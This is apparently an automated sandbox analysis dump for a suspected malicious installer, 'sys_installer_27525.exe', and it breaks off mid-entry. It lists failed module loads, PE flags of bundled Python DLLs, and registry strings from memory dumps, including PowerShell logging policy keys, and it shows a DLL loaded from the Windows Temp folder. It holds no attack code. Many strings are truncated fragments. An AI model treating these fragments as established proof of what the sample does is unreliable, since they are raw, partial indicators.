"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "sys_installer_27525.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "py.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135]3e:T94b,"python311.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libcrypto-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libssl-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "python.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "py.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "vcruntime140.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "python3.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "libffi-8.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pyexpat.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_elementtree.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ctypes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_sqlite3.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_bz2.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_socket.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_asyncio.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_hashlib.pyd" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT3f:T4902,"SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.Servic" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001352.00000000.176224.051F0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.10.3.37!7" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.10.3.42!7" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "y\Machine\Software\Classes\C}" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp "e\Software\C" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\python.exe" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp "y\Machine\Software\Classes\DelegateFolders" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\Registry\Machine\Software\C" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{7" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW64" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4K" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00001352.00000001.177223.21720000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00002592.00000000.177629.03360000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002592.00000000.177629.03BB0000.00000004.mdmp "s\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E" in Source: 00000000-00002592.00000001.179550.05870000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002592.00000001.179550.05870000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002592.00000001.179550.05870000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002592.00000001.179550.09040000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00002592.00000001.179550.09040000.00000004.mdmp "SOFTWARE\Python\PythonCore\z" in Source: 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp "s\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E" in Source: 00000000-00002592.00000002.181470.05870000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002592.00000002.181470.05870000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002592.00000002.181470.05870000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00002592.00000002.181470.6F10A000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00002592.00000002.181470.6F10A000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004796.00000000.177440.033B8000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004796.00000000.177440.033E3000.00000004.mdmp "Registry\Machine\Software\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}" in Source: 00000000-00004796.00000000.177440.03426000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004796.00000000.177440.05822000.00000004.mdmp "SOFTWARE\Python\PythonCore\z" in Source: 00000000-00004796.00000000.177440.721FD000.00000002.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00004796.00000000.177440.7236A000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00004796.00000000.177440.7236A000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005396.00000000.175594.92C30000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005396.00000000.175594.92C30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005396.00000000.175594.B90DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005396.00000000.175594.B90DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005396.00000000.175594.B90DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005396.00000000.175594.B90DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005396.00000000.175594.B90DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005396.00000000.175594.B90DA000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005396.00000001.175978.92C5F000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005396.00000001.175978.92C5F000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005396.00000001.175978.AD59C000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005792.00000000.178161.00EE1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005792.00000000.178161.00EE1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005792.00000000.178161.00EE1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005792.00000000.178161.00EE1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005792.00000000.178161.00EE1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005792.00000000.178161.00EE1000.00000020.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005792.00000000.178161.03130000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005792.00000000.178161.0320D000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005792.00000000.178161.05280000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005792.00000001.179055.03130000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005792.00000001.179055.0320D000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005792.00000001.179055.076B0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005792.00000001.179055.076FE000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005792.00000001.179055.08A07000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005792.00000001.179055.0AC70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005792.00000001.179055.0AC70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" in Source: 00000000-00005792.00000001.179055.0AC70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" in Source: 00000000-00005792.00000001.179055.0AC70000.00000004.mdmp40:T7a0e,"cmd.exe" loaded module "KERNEL32" at base 7ffd4c090000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd49100000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd49100000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd49100000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd4a390000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd49100000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd49100000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd49100000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd32fc0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffd4c090000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffd4c2e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd49100000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd49100000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd49100000 "powershell.exe" loaded module "KERNEL32" at base 7ffd4c090000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd32fc0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffd4c090000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffd49d40000 "powershell.exe" loaded module 